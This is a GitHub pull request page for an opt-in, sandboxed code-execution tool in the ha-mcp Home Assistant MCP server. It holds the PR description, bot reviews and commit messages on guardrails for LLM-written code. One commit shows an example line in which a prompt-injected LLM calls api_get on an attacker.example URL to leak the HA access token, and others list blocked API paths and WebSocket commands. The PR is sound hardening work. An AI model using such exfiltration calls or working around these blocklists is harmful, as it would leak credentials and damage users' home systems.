Skip to content

feat: add ha_manage_custom_tool — sandboxed code execution escape hatch - #854

Merged
kingpanther13 merged 41 commits into
homeassistant-ai:masterfrom
kingpanther13:feat/execute-code-tool
May 7, 2026
Merged

feat: add ha_manage_custom_tool — sandboxed code execution escape hatch#854
kingpanther13 merged 41 commits into
homeassistant-ai:masterfrom
kingpanther13:feat/execute-code-tool

Conversation

@kingpanther13

@kingpanther13 kingpanther13 commented Apr 2, 2026

Copy link
Copy Markdown
Member

What does this PR do?

In my own words (non-ai): the point of this tool primarily is to allow users to create their own custom tools to do things that our current tools cannot do, or to fill gaps where specific tools don't exist. This way if functionality is missing, while users wait for a new tool to get implemented they can just simply use their AI to make their own without having to wait for a PR to get made and merged and sent to live addon. Ultimately we still should add dedicated tools and functionality for certain things, but it's impossible to build a tool for everything...this is intended to fill that gap.

AI:

Adds an opt-in ha_manage_custom_tool — a sandboxed tool that lets LLMs write and run custom Python code. Code runs in pydantic-monty (Rust-based sandbox; no filesystem, no arbitrary network).

Beta-only — ships in the dev channel add-on only, mirroring #942's pattern for ha_config_set_yaml. Stable add-on users who want it can install the dev add-on, or set ENABLE_CODE_MODE=true for non-add-on installs (pip / uvx / Docker direct).

Implements #726.

What the sandbox can do

Direct HA REST API access — create tools for operations not covered by existing tools:

# No tool for repairs? Hit the API directly.
repairs = await api_get("/repairs/issues")
repairs

Direct HA WebSocket access — registry queries, template rendering, and other WS-only commands:

result = await ws_send({"type": "config/area_registry/list"})
result.get("result", [])

Chain existing tools — compose multiple MCP tools with custom Python logic in a single round-trip:

result = await call_tool("ha_search_entities", {"query": "light", "limit": 5})
data = result.get("data", result)
lights = data.get("results", [])
for e in lights:
    await call_tool("ha_call_service", {
        "domain": "light", "service": "turn_off", "entity_id": e["entity_id"]})
{"turned_off": len(lights)}

Save/reuse/delete custom tools — build a personal "MCP within an MCP":

ha_manage_custom_tool(code="...", justification="...", save_as="movie_mode")  # save
ha_manage_custom_tool(run_saved="movie_mode")                                  # re-run
ha_manage_custom_tool(list_saved=True)                                         # list
# Delete from inside the sandbox:
ha_manage_custom_tool(code='delete_saved_tool("movie_mode")', justification="cleanup")

Saved tools persist across restarts via CODE_MODE_SAVED_TOOLS_PATH (defaults to /data/saved_tools.json in the dev add-on; opt-in elsewhere). 256-tool cap, atomic writes (temp file + os.replace), schema-versioned.

Single tool with three mutually-exclusive modes

code / run_saved / list_saved are mutually exclusive — passing more than one returns VALIDATION_INVALID_PARAMETER. save_as is a modifier on the code mode, not a fourth mode.

Available functions in sandbox

Function Purpose
api_get(endpoint) GET request to HA REST API (HA-relative paths only)
api_post(endpoint, data) POST request to HA REST API (HA-relative paths only; safer-path enforcement)
ws_send(message) Send a HA WebSocket command (safer-path enforcement on mutations)
call_tool(name, args) Call a registered MCP tool
delete_saved_tool(name) Remove a previously saved custom tool

Safety guardrails

  • Disabled by defaultENABLE_CODE_MODE=true to opt in (dev add-on toggle: "Enable custom tool sandbox (beta)")
  • destructiveHint=True — MCP clients prompt for confirmation
  • Required justification — logged for auditing, code logged at DEBUG
  • Recursive self-call blocked — sandbox can't invoke ha_manage_custom_tool
  • No bearer-token exfilapi_get/api_post reject absolute URLs (http://...), protocol-relative (//host/...), and userinfo (user@host/...); only HA-relative paths reach the underlying httpx client
  • Safer-path enforcement on REST and WS — sandbox api_post blocks raw /api/states/* writes (which can conjure ghost entities), HA-internal events (24-name denylist; custom event types stay allowed), and /api/config/{automation,script}/config/* (forced through ha_config_set_automation / ha_config_set_script). ws_send blocks config/core/update, lovelace/config/save, lovelace/dashboards/{create,delete,update}, and config/{area,device,entity}_registry/{delete,disable,update} (forced through their wrapping tools). Read-only WS queries and service calls remain allowed.
  • Structured sandbox failuresSANDBOX_LIMIT_EXCEEDED / SANDBOX_SYNTAX_UNSUPPORTED / SANDBOX_RUNTIME_ERROR codes with category-tailored suggestions, replacing the previous generic INTERNAL_ERROR
  • Audit log — DEBUG-level sandbox.api_post / sandbox.ws_send line per allowed call; INFO-level sandbox.{api_post,ws_send}.blocked per refusal
  • Resource limits — 30s wall-clock, 10 MB memory, recursion 100, 100 API/tool calls per execution. All four configurable via CODE_MODE_MAX_* env vars within Pydantic-validated bounds.
  • Persistence is honest about failure — if the on-disk write fails, save_as rolls back the in-memory cache and surfaces a save_warning; delete_saved_tool rolls back and returns {"error": ...}. A read failure on an existing file (e.g. PermissionError) suppresses subsequent writes for the session so we don't atomically replace an unreadable file with empty content.
  • ARM fail-fast — clear error if async sandbox unavailable

Changes

File Change
src/ha_mcp/tools/tools_code.py New tool module (auto-discovered)
src/ha_mcp/config.py ENABLE_CODE_MODE, CODE_MODE_MAX_DURATION/MEMORY/RECURSION/INVOCATIONS (all range-validated), CODE_MODE_SAVED_TOOLS_PATH
src/ha_mcp/errors.py New SANDBOX_LIMIT_EXCEEDED / SANDBOX_SYNTAX_UNSUPPORTED / SANDBOX_RUNTIME_ERROR codes
src/ha_mcp/server.py Pin tool when search transform active
pyproject.toml pydantic-monty==0.0.9 dependency
homeassistant-addon-dev/config.yaml Dev-channel enable_code_mode toggle
homeassistant-addon-dev/translations/en.yaml Toggle label + description (dev only)
homeassistant-addon/config.yaml Comment marking enable_code_mode as dev-only beta (no toggle exposed in stable)
homeassistant-addon/start.py Map enable_code_mode → env var; default CODE_MODE_SAVED_TOOLS_PATH=/data/saved_tools.json
docs/beta.md New ha_manage_custom_tool row + Known Limitations subsection
tests/src/e2e/tools/test_create_custom_tool.py E2E coverage (mode mutex, REST/WS blocklists, error classification, persistence, delete, security)
tests/src/unit/test_saved_tools_persistence.py 24 unit tests for the persistence helpers (load/save round-trip, schema-version guard, load-failed flag, atomic writes, cap enforcement)

Closes #726

Type of change

  • 🐛 Bug fix
  • ✨ New feature
  • 📚 Documentation
  • 🔧 Maintenance/refactor
  • 💥 Breaking change

Testing

  • I have tested these changes with a LLM agent
  • All automated tests pass (uv run pytest)
  • Code follows style guidelines (uv run ruff check)

Checklist

  • I have updated documentation if needed (docs/beta.md for the user-facing Known Limitations section; the auto-generated homeassistant-addon/DOCS.md / README.md / tools.json are regenerated by sync-tool-docs.yml on merge)

🤖 Generated with Claude Code

@kingpanther13 kingpanther13 changed the title feat: add sandboxed code execution tool (ha_execute_code) feat: add ha_create_custom_tool — sandboxed one-off tool creation Apr 2, 2026
@gemini-code-assist

Copy link
Copy Markdown
Contributor

Summary of Changes

Hello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request adds an opt-in 'escape hatch' mechanism that enables LLMs to execute custom Python code for complex tasks that cannot be handled by existing tools. By leveraging a sandboxed interpreter, the implementation ensures that code execution remains isolated and secure while providing a bridge to interact with the broader MCP toolset.

Highlights

  • Sandboxed Code Execution: Introduced the ha_execute_code tool, allowing LLMs to run custom Python code in a secure, restricted environment using pydantic-monty.
  • Safety and Constraints: The feature is disabled by default and includes strict resource limits (time/memory), no filesystem/network access, and requires a justification for use.
  • Tool Interoperability: Implemented a call_tool bridge that allows the sandboxed code to interact with existing MCP tools.
Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature Command Description
Code Review /gemini review Performs a code review for the current pull request in its current state.
Pull Request Summary /gemini summary Provides a summary of the current pull request in its current state.
Comment @gemini-code-assist Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help /gemini help Displays a list of available commands.

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here.

Footnotes

  1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces a new sandboxed code execution tool, ha_execute_code, which allows LLMs to run custom Python code using pydantic-monty. The implementation includes configurable resource limits for duration and memory. I have identified a missing configuration parameter for recursion depth, which should be added to the Settings class and enforced in the ResourceLimits configuration to ensure consistent safety guardrails.

Comment thread src/ha_mcp/config.py Outdated
Comment thread src/ha_mcp/tools/tools_code.py Outdated
@kingpanther13

Copy link
Copy Markdown
Member Author

I actually didn't mean to post this PR yet, permissions got screwy on claude code and it auto-posted it. This one will probably be in draft for a while so please disregard it till I mark it ready for review, I need to do a lot of testing on it.

@kingpanther13 kingpanther13 changed the title feat: add ha_create_custom_tool — sandboxed one-off tool creation feat: add ha_manage_custom_tool — sandboxed code execution escape hatch Apr 2, 2026
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 2, 2026
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 2, 2026
@kingpanther13

Copy link
Copy Markdown
Member Author

/gemini review

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces 'Code Mode,' a feature allowing AI assistants to execute sandboxed Python code via a new ha_manage_custom_tool tool. The implementation includes resource limit configurations, documentation, and E2E tests. Feedback identifies documentation inaccuracies regarding sandbox API access, a violation of the statelessness principle due to global in-memory tool storage, and provides suggestions for improving exception handling and configurability.

Comment thread homeassistant-addon-dev/translations/en.yaml Outdated
Comment thread homeassistant-addon/DOCS.md Outdated
Comment thread src/ha_mcp/tools/tools_code.py
Comment thread src/ha_mcp/tools/tools_code.py Outdated
Comment thread src/ha_mcp/tools/tools_code.py Outdated
Comment thread src/ha_mcp/tools/tools_code.py
Comment thread src/ha_mcp/tools/tools_code.py
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 3, 2026
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 3, 2026
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 4, 2026
…homeassistant-ai#857, dev61

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 4, 2026
…homeassistant-ai#857, dev66

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 4, 2026
…only, dev68

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 4, 2026
…homeassistant-ai#857, dev69

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@kingpanther13
kingpanther13 marked this pull request as ready for review April 4, 2026 18:42
@kingpanther13
kingpanther13 requested a review from a team April 4, 2026 18:42
@kingpanther13
kingpanther13 enabled auto-merge (squash) April 4, 2026 18:43
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 8, 2026
Tools like ha_manage_addon (homeassistant-ai#913) and ha_manage_custom_tool (homeassistant-ai#854)
combine several operations (get/set/list/call) behind one tool. The
existing verb list had no good fit — "manage" captures this pattern.

Updated in all four locations:
- AGENTS.md naming convention + docstring verb list
- .gemini/styleguide.md naming convention + docstring verb list

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Patch76 added a commit to Patch76/ha-mcp that referenced this pull request Apr 8, 2026
…tion

Removes `ha_manage_custom_tool` (PR homeassistant-ai#854, not yet merged, name not finalized)
and replaces it with a capability-based description to avoid naming-convention
violations on a forward reference.
kingpanther13 pushed a commit that referenced this pull request Apr 9, 2026
* docs(security): add scope, out-of-scope, and OAuth beta warning

* fix(security): clarify out-of-scope deployment item per GB review

* fix(security): restore good-faith requirement per GB review

* fix(security): remove redundant auth bypass from OAuth mode list

* fix(security): add coordinated disclosure timeline per GB review

* docs(security): replace speculative tool name with capability description

Removes `ha_manage_custom_tool` (PR #854, not yet merged, name not finalized)
and replaces it with a capability-based description to avoid naming-convention
violations on a forward reference.

* fix: correct env var name, remove unmerged sandbox ref, drop stale CVE count

---------

Co-authored-by: Patch76 <patch76@users.noreply.github.com>
@kingpanther13
kingpanther13 force-pushed the feat/execute-code-tool branch from d714dd0 to 65d958c Compare April 9, 2026 15:11
kingpanther13 added a commit to kingpanther13/ha-mcp-fork that referenced this pull request Apr 11, 2026
LLM agents routinely reach for ha_config_set_yaml to create trigger-based
template sensors even though ha_set_config_entry_helper (domain=template)
supports them natively. The previous description listed
ha_config_set_helper as the preferred alternative for template sensors,
but ha_config_set_helper's helper_type enum does not include 'template' —
so an agent that tried to follow the guidance would hit a schema error
and then fall back to raw YAML editing.

This change:

- Reframes the docstring and tool title as an escape hatch. The first
  sentence now warns instead of welcoming, and the dedicated-tool
  preference list is the first thing a model sees.
- Points template sensors (state-based AND trigger-based) at the
  correct tool, ha_set_config_entry_helper with helper_type='template',
  which does support triggers via the config entry flow.
- Hardens the yaml_path parameter description with per-key warnings, so
  the nudge survives context compression even when the full docstring
  is trimmed by the client.
- Adds a required justification parameter (mirroring the pattern from
  ha_manage_custom_tool in homeassistant-ai#854). Justification is validated non-empty,
  logged, and exists purely as friction — the goal is to make an agent
  pause and articulate why no dedicated tool fits before reaching for
  the escape hatch.

Ref: discussion homeassistant-ai#936
@kingpanther13

Copy link
Copy Markdown
Member Author

With everything else going on I'll acknowledge that this one is a long way from merging. I have tested it and discovered that it works pretty well, but I need to test further to make sure that it has sufficient guardrails such as making sure it cannot touch any yaml directly, and that it cannot break HA in any way. I also need to make sure LLMs won't jump to it unnecessarily when it's enabled. I think that this will be a great "Swiss army knife" type tool, I'm envisioning it as being capable of making its own mini MCPs for add-ons since it saves the tools, and as being able to do small one-off surgical type tools.

kingpanther13 added a commit that referenced this pull request Apr 15, 2026
…#942)

* feat: harden ha_config_set_yaml description and require justification

LLM agents routinely reach for ha_config_set_yaml to create trigger-based
template sensors even though ha_set_config_entry_helper (domain=template)
supports them natively. The previous description listed
ha_config_set_helper as the preferred alternative for template sensors,
but ha_config_set_helper's helper_type enum does not include 'template' —
so an agent that tried to follow the guidance would hit a schema error
and then fall back to raw YAML editing.

This change:

- Reframes the docstring and tool title as an escape hatch. The first
  sentence now warns instead of welcoming, and the dedicated-tool
  preference list is the first thing a model sees.
- Points template sensors (state-based AND trigger-based) at the
  correct tool, ha_set_config_entry_helper with helper_type='template',
  which does support triggers via the config entry flow.
- Hardens the yaml_path parameter description with per-key warnings, so
  the nudge survives context compression even when the full docstring
  is trimmed by the client.
- Adds a required justification parameter (mirroring the pattern from
  ha_manage_custom_tool in #854). Justification is validated non-empty,
  logged, and exists purely as friction — the goal is to make an agent
  pause and articulate why no dedicated tool fits before reaching for
  the escape hatch.

Ref: discussion #936

* fix(internal): address Gemini review feedback

- Correct parameter name: ha_set_config_entry_helper takes
  `helper_type='template'`, not `domain='template'`. Wrong parameter name
  in the description would cause an LLM that tried to follow the guidance
  to hit a schema error.
- Point Groups, min/max, threshold, derivative, statistics, utility_meter,
  trend, filter, switch_as_x at ha_set_config_entry_helper — these are
  config-flow helpers, not ha_config_set_helper entries (which only
  handles input_*, counter, timer, schedule, zone, person, tag).
- Remove utility_meter from the yaml_path description's example list —
  it conflicted with the "use a helper for this" line in the docstring.
- Start docstring with an action verb per the repo style guide
  (.gemini/styleguide.md rule: Get/List/Search/Create/Update/...).
- Fix test_missing_justification_rejected assertion: create_error_response
  returns a nested dict under "error", so `.lower()` on it raised
  AttributeError. Match against the stringified response instead.

---------

Co-authored-by: kingpanther13 <kingpanther13@users.noreply.github.com>
@kingpanther13

Copy link
Copy Markdown
Member Author

Todo: will fix conflicts and refactor so it follows the path of #942 and #989 so this will be a dev/beta only tool.

kingpanther13 and others added 17 commits May 6, 2026 17:24
…th issues

The httpx client's base_url includes /api, so leading slashes in
endpoints cause httpx to treat them as absolute paths from the host
root, bypassing the base path. This made api_get("/api/events") 404
and api_get("/events") hit the wrong path.

Added _normalize_endpoint() that strips leading slashes and any
accidental /api/ prefix, so all three forms work identically:
  api_get("events"), api_get("/events"), api_get("/api/events")

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Replace hand-built {"success": False} dicts with raise_tool_error +
create_error_response to satisfy the no-return-success-false AST rule.
Also remove unused pytest import flagged by ruff.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
The session-scoped mcp_server fixture is created before the module-scoped
code_mode_enabled fixture can set ENABLE_CODE_MODE. Fix by creating a
fresh HomeAssistantSmartMCPServer instance in the test fixture after the
env var is set, and resetting the settings singleton so the new server
reads the updated config.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…r teardown

- _call_tool helper must return error dicts to sandbox code, not raise
  ToolError (Monty wraps exceptions as MontyRuntimeError, breaking tests)
- Use _sandbox_error() helper to build structured error dicts that satisfy
  AST lint rules (no literal {"success": False} in return statements)
- Fix code_mode_enabled fixture teardown: use os.environ.pop instead of
  setting empty string (Pydantic can't parse "" as bool)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Mirrors the homeassistant-ai#942 pattern that ha_config_set_yaml uses: the
ha_manage_custom_tool sandboxed code-execution tool stays available via
the dev channel add-on and the ENABLE_CODE_MODE env var, but the toggle
is removed from the stable add-on UI so it ships dev-channel-only.

- Drop enable_code_mode from homeassistant-addon/config.yaml options +
  schema. Update the maintainer comment to list it alongside the other
  beta toggles that are intentionally not mirrored from the dev addon.
- Drop the enable_code_mode entry from homeassistant-addon/translations/
  en.yaml.
- Tag the @mcp.tool with {"System", "beta"} so scripts/extract_tools.py
  appends the (beta — dev channel only) marker in the regenerated
  README.md / DOCS.md / tools.json on merge.
- Add ha_manage_custom_tool to docs/beta.md (table + Known limitations
  section covering composition risk, in-memory saved tools, best-effort
  resource limits, ARM async path).
- Remove the hand-written ### enable_code_mode toggle docs from
  homeassistant-addon/DOCS.md (the auto-generated tools section between
  ADDON_TOOLS markers gets the beta marker added by CI on merge).

Dev addon (homeassistant-addon-dev/) still exposes the toggle and the
shared start.py still maps it to ENABLE_CODE_MODE so dev users can opt
in. src/ha_mcp/config.py still reads the env var so non-addon installs
(pip / uv / uvx / Docker direct) can opt in via ENABLE_CODE_MODE=true.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds a third HA-facing escape hatch alongside api_get/api_post and
call_tool: ws_send(message) forwards a HA WebSocket command to the
shared per-client WS connection and returns the response.

Most HA registry CRUD (areas, devices, entities, automations,
dashboards) and template rendering are only reachable over the
WebSocket API, not REST. Without ws_send the sandbox could already get
to those via call_tool wrappers, but only when an MCP tool happened to
exist; ws_send fills the same role for WebSocket as api_get/api_post do
for REST — letting custom tools cover gaps directly instead of waiting
on dedicated tool PRs.

- _ws_send wraps client.send_websocket_message with the same call-count
  rate limit as api_get/api_post, validates that the message is a dict
  with a "type" field, and returns {"error": ...} on bad input or
  exceptions instead of raising into the sandbox.
- Wired into Monty's external_functions and documented in the tool
  docstring (with a config/area_registry/list example).
- Dev-addon translation and docs/beta.md updated to list ws_send
  alongside the other sandbox helpers, and the Known limitations note
  for ha_manage_custom_tool now calls out that WebSocket access widens
  the surface to "anything the HA UI can do."
- E2E tests cover area-registry list, render_template, non-dict input
  validation, and the missing-"type" guard.

Security profile is roughly the same as REST + call_tool: the sandbox
can already invoke every registered MCP write tool, so adding direct
WebSocket access does not meaningfully increase blast radius — it just
removes the requirement for a dedicated wrapper tool. Same
ENABLE_CODE_MODE=true gate, same destructiveHint=True confirmation,
same rate / time / memory / recursion limits.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The earlier ``uv lock`` run that regenerated uv.lock for the
pydantic-monty addition picked up the older mypy 1.19.1, downgrading
from master's 1.20.2. mypy 1.19.1 fails on tools_energy.py:834 with

  Unsupported operand types for - ("set[Literal[...]]" and "set[str]")

(set subtraction direction inference regression — set[Literal[...]] -
set[str] doesn't widen back to set[str] in 1.19.1). The exact same code
type-checks cleanly under master's 1.20.2, so re-pin to that.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Removes tests/src/e2e/workflows/dashboards/test_living_room_dashboard.py.

This file was working-branch carryover that landed in this PR by
accident (originally flagged by @Patch76 in
homeassistant-ai#854 (comment)).
It exercises ha_config_set_dashboard / ha_config_get_dashboard /
ha_config_delete_dashboard rather than ha_manage_custom_tool, so it
doesn't belong in this PR's scope, and it was failing CI because
ha_config_delete_dashboard's parameter was renamed from dashboard_id
to url_path after the test was written. The other carryover files
(docs/superpowers/specs/*.md, mcp-test-config.json) already dropped
naturally during the rebase since they only existed via a merge commit.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ation

Addresses review findings from the in-house code-review pass on PR homeassistant-ai#854.

Security
--------

* `_normalize_endpoint` now rejects anything that isn't a HA-relative
  path: absolute URLs (`http://...`, `https://...`), protocol-relative
  URLs (`//host/path`), and userinfo (`user@host/...`). httpx, when
  handed an absolute URL on a client with `base_url` and an
  Authorization header, dispatches the request to the absolute host
  *with the bearer header still attached* — a prompt-injected LLM
  running `await api_get("http://attacker.example/x")` would have
  exfiltrated the HA Long-Lived Access Token (or in addon mode, the
  far-more-privileged SUPERVISOR_TOKEN). _normalize_endpoint raises
  before the request leaves the host. New TestCodeModeSecurity tests
  cover absolute, protocol-relative, and userinfo URL rejection for
  both api_get and api_post.

Correctness
-----------

* `_call_tool` now increments call_count *before* the _BLOCKED_TOOLS
  check, so a tight loop on a blocked name actually trips the
  per-execution call cap (was previously free).

* `_extract_tool_result` checks `isError` / `is_error` on FastMCP
  ToolResult objects before falling through to `str(result)`. Without
  this, an unfamiliar error-result type would be returned to the
  sandbox as a successful string and `result.get("error")` would miss
  it. The `str(result)` fallback now also logs at WARNING so the
  opaque-repr path is visible to operators.

* The `except ImportError: pass` block around `run_monty_async` was
  catching ImportErrors raised inside the function body too (e.g. a
  missing native shim). Split the import and the call into separate
  try blocks so a real failure surfaces.

* All four bridge functions (`_api_get`, `_api_post`, `_ws_send`,
  `_call_tool`) now log at WARNING with `exc_info=True` when their
  catch-all `except` fires. The `[:200]`-truncated dict still goes to
  the sandbox; full traceback goes to operator logs.

* `ha_manage_custom_tool` now enforces mutual exclusion of `code`,
  `run_saved`, and `list_saved` — previously the dispatch was a silent
  priority chain (list_saved > run_saved > code) and passing both
  would discard the lower-priority arg without telling the caller.

Configuration
-------------

* `code_mode_max_*` Field defaults now have `ge=` lower bounds and
  sane upper bounds: duration 1-300 s, memory 1 MB-256 MB, recursion
  1-10000, invocations 1-10000. Previously a misconfigured
  `CODE_MODE_MAX_INVOCATIONS=0` or negative duration would silently
  break the tool.

Docs
----

* Module docstring corrected from "three external functions" to four
  (api_get, api_post, ws_send, call_tool — `ws_send` was added in
  this PR but the count wasn't updated).

* Module docstring now notes that `api_get`/`api_post` reject absolute
  URLs.

Tests
-----

Added in `tests/src/e2e/tools/test_create_custom_tool.py`:

* `TestCodeModeValidation::test_modes_mutually_exclusive_*` — three
  pairs (code+run_saved, code+list_saved, run_saved+list_saved).
* `TestCodeModeSecurity::test_api_get_rejects_absolute_url`,
  `test_api_post_rejects_absolute_url`,
  `test_api_get_rejects_protocol_relative_url`,
  `test_api_get_rejects_userinfo_url`.
* Tightened `TestCodeModeWebSocket::test_ws_send_area_registry_list`
  to assert the area-registry shape (area_id + name keys) instead of
  just "is_list".
* Tightened `TestCodeModeWebSocket::test_ws_send_render_template` to
  assert exact equality on the rendered value instead of substring.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…turns

The ast-grep `no-return-success-false` rule rightly flags
``{"success": False, ...}`` returns from tool functions because they
don't set isError on the MCP response. ``_extract_tool_result`` is a
sandbox-side helper (its dicts go back to user Python via call_tool, not
to the MCP client), so the rule's spec rationale doesn't apply, but the
shape is also gratuitously different from the rest of the sandbox
helpers.

The other bridge functions (``_api_get``, ``_api_post``, ``_ws_send``)
already return plain ``{"error": "..."}`` on failure with no
``success`` key. Match that shape here so sandbox code can do
``result.get("error")`` uniformly across all four helpers, and so the
ast-grep rule doesn't get retripped on a future edit.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…helper

Saved custom tools now survive server / addon restarts when
``CODE_MODE_SAVED_TOOLS_PATH`` is set. The dev addon sets this to
``/data/saved_tools.json`` by default (Supervisor maps ``/data``
per-addon and preserves it across addon updates). Operators running
ha-mcp outside the addon can opt in by setting the env var themselves.

Goal: let people build their own "MCP within an MCP" — a personal
library of single-purpose tools that the LLM has accumulated over
time and can reach for immediately rather than reauthoring on every
session. The infra is intentionally simple (one JSON file, atomic
write, 256-tool cap, schema versioned for future migrations) and the
saved-tools cache stays in process memory so reads are free.

Persistence
-----------

* ``code_mode_saved_tools_path`` setting in ``src/ha_mcp/config.py``
  (env var ``CODE_MODE_SAVED_TOOLS_PATH``). Empty default = in-memory
  only (preserves prior non-addon behaviour).
* ``_load_saved_tools(path)`` and ``_save_saved_tools(path)`` helpers
  in ``tools_code.py``. Load filters malformed entries (bad name, bad
  shape, missing code) and caps at ``_MAX_SAVED_TOOLS=256``. Save
  uses ``tempfile.NamedTemporaryFile`` in the same dir + ``replace``
  so a crash mid-write can't corrupt the existing file. Schema is
  ``{"version": 1, "saved_at": iso, "saved_tools": {...}}`` so
  future migrations have a hook.
* ``register_code_tools`` hydrates ``_saved_tools`` from disk.
* ``ha_manage_custom_tool`` persists after every successful
  ``save_as``. Hitting the 256-tool cap on a new save raises a
  validation error suggesting ``delete_saved_tool``.
* ``homeassistant-addon/start.py`` sets
  ``CODE_MODE_SAVED_TOOLS_PATH=/data/saved_tools.json`` via
  ``setdefault`` so operators can override.

Sandbox helper
--------------

* New external function ``delete_saved_tool(name)`` exposed alongside
  ``api_get`` / ``api_post`` / ``ws_send`` / ``call_tool`` in Monty's
  ``external_functions`` dict. Validates the name against
  ``_SAVE_NAME_PATTERN``, returns ``{"deleted": True, "name": ...}``
  on success or ``{"error": "..."}`` on validation failure / unknown
  name. Persists immediately when the file path is configured.
* No new top-level mode parameter — keeping the tool's surface
  ``code`` / ``run_saved`` / ``list_saved`` and routing CRUD through
  sandbox code keeps the API tight.

Tests
-----

* ``tests/src/unit/test_saved_tools_persistence.py`` (new): 13 unit
  tests covering empty path / missing file / malformed JSON / top-level
  shape / invalid entry filtering / justification normalization / cap
  enforcement, plus save round-trip / parent-dir creation / atomic
  overwrite / no-op on empty path.
* ``TestSavedTools`` in the existing E2E suite: three new tests for
  the sandbox-driven ``delete_saved_tool`` round-trip, error on
  nonexistent name, and rejection of names that don't match the
  validation regex.

Docs
----

* ``docs/beta.md`` Known limitations section: replaced "saved tools
  are stored in process memory only" with the persistence story (cap,
  copy-to-migrate workflow, dev-addon default vs opt-in env var
  elsewhere). Resource-limits paragraph clarifies which limit is
  enforced by Monty vs ha-mcp itself, and a new paragraph documents
  the absolute-URL block on api_get/api_post.
* Dev-addon ``enable_code_mode`` translation description updated to
  mention save/delete and the persistence path.
* ``ha_manage_custom_tool`` user-facing docstring lists
  ``delete_saved_tool`` in the available functions and adds a delete
  example.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ors, audit log

Implements the stress-test-driven mitigations 1, 2, 4, and 5 from the
in-PR review comment. Mitigation 3 (call_tool denylist for beta tools)
was intentionally skipped after re-checking the technical claim — the
file-path / yaml-key allowlists are enforced inside the underlying HA
custom-component services, not the ha-mcp tool body, so they hold even
when the sandbox calls those tools through call_tool.

api_post path blocklist
-----------------------

Reject the following before the request leaves the host:

- ``states/*`` — POST /api/states/<entity_id> can conjure ghost
  entities and override real ones in the in-memory state machine,
  which spoofs other agents and pollutes logbook/history during the
  session. State changes should go through call_tool('ha_call_service'
  ...) so the integration's state machine is authoritative.
- ``events/<HA-internal-event-name>`` — denylist of 24 HA Core event
  names (state_changed, automation_reloaded, *_registry_updated,
  homeassistant_*, lovelace_updated, recorder_*_statistics_generated,
  etc.). Custom event types (e.g. my_app_completed) stay allowed.
- ``config/{automation,script,scene}/config/*`` — these endpoints back
  the wrapping tools but skip schema validation, reference checks, and
  hash-locking when called raw. Forced through ha_config_set_automation
  / ha_config_set_script / ha_config_set_scene.

ws_send command blocklist
-------------------------

Reject 14 WebSocket commands that either rewrite persistent state with
no sandbox-appropriate use case, or bypass wrapping-tool validation:

- ``config/core/update`` — persistently overwrites
  location_name/country/currency/time_zone/lat-long in
  .storage/core.config (no MCP tool wraps this).
- ``lovelace/config/save`` and
  ``lovelace/dashboards/{create,delete,update}`` — bypass
  ha_config_set_dashboard's storage-mode collision check and other
  invariants.
- ``config/{area,device,entity}_registry/{delete,disable,update}`` —
  forced through ha_config_set_area / ha_update_device / ha_set_entity
  etc.

Read-only registry queries (``config/area_registry/list`` and
friends), service calls (``services/<domain>/<service>``), webhook
firing, and custom event types remain allowed.

Sandbox error classification
----------------------------

Replace the generic INTERNAL_ERROR + "check the Python code for syntax
errors" suggestion list with a three-bucket classifier:

- ``SANDBOX_LIMIT_EXCEEDED`` for MemoryError / RecursionError / timeout
  / wall-clock — suggestions point at CODE_MODE_MAX_* env vars and
  ergonomic alternatives (streaming, iteration).
